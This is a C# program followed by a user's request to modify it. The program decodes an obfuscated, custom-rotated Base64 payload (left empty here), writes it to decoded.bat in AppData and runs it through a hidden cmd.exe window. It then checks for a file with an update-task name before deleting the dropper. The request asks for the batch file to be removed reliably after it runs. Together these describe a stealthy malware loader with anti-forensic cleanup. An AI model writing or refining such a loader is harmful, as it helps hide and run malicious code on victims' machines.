using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Timers;

namespace Another2
{
    internal class Program
    {
        static readonly string originalChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        static readonly int key = 47; // your key

        // Statically stored Base64 string
        static readonly string encodedContent = "";
        static void Main(string[] args)
        {
            string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            string decodedFilePath = Path.Combine(appDataPath, "decoded.bat");

            try
            {
                // Decode the statically stored Base64 string with the custom method
                string decodedContent = CustomBase64Decode(encodedContent);

                // Write the decoded content to a bat file and execute it
                ExecuteBatchContent(decodedContent, decodedFilePath);

                Console.WriteLine("Execution complete.");
            }
            catch (Exception ex)
            {
                Console.WriteLine("An error occurred: " + ex.Message);
            }
        }


        private static string CustomBase64Decode(string input)
        {
            StringBuilder sb = new StringBuilder();

            foreach (char c in input)
            {
                int index = originalChars.IndexOf(c);
                if (index >= 0)
                {
                    int originalIndex = (index - key + originalChars.Length) % originalChars.Length;
                    sb.Append(originalChars[originalIndex]);
                }
                else
                {
                    sb.Append(c);
                }
            }

            byte[] bytes = Convert.FromBase64String(sb.ToString());
            return Encoding.UTF8.GetString(bytes);
        }

        private static void ExecuteBatchContent(string content, string tempFilePath)
        {
            // Write the content to the temporary batch file.
            File.WriteAllText(tempFilePath, content);

            // Initialize the process to execute the batch commands with cmd.
            Process process = new Process();
            process.StartInfo.FileName = "cmd.exe";
            process.StartInfo.Arguments = $"/c \"{tempFilePath}\"";
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.CreateNoWindow = true;
            process.Start();
            process.WaitForExit();
            // Create a timer with a 15-second interval.
            var timer = new System.Timers.Timer(15000);
            // Hook up the event handler for the Elapsed event.
            timer.Elapsed += (sender, e) => CheckFileAndDelete(tempFilePath);

            // Only raise the event once
            timer.AutoReset = false;

            // Start the timer
            timer.Start();
        }
        private static void CheckFileAndDelete(string tempFilePath)
{
        string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
        string updateTaskFilePath = Path.Combine(appDataPath, "UpdateTaskMachineUa.bat");
    
        // Check if 'UpdateTaskMachineUa.bat' exists
        if (File.Exists(updateTaskFilePath))
    {
        Console.WriteLine("UpdateTaskMachineUa.bat found. Attempting to delete decoded.bat...");

        try
        {
            // Check and delete "decoded.bat" if it exists
            if (File.Exists(tempFilePath))
            {
                File.Delete(tempFilePath);
                Console.WriteLine("decoded.bat deleted successfully.");
            }
            else
            {
                Console.WriteLine("decoded.bat not found.");
            }
        }
            catch (Exception ex)
        {
            Console.WriteLine("Could not delete the batch file: " + ex.Message);
        }
    }
            else
    {
            Console.WriteLine("UpdateTaskMachineUa.bat not found within the expected time frame.");
    }
}
    }
}
decoded.bat not deleted after execute like you do in this example of code i want you modify and make sure after execute delete this decoded.bat file if it possible do it in smartway without hand the system of console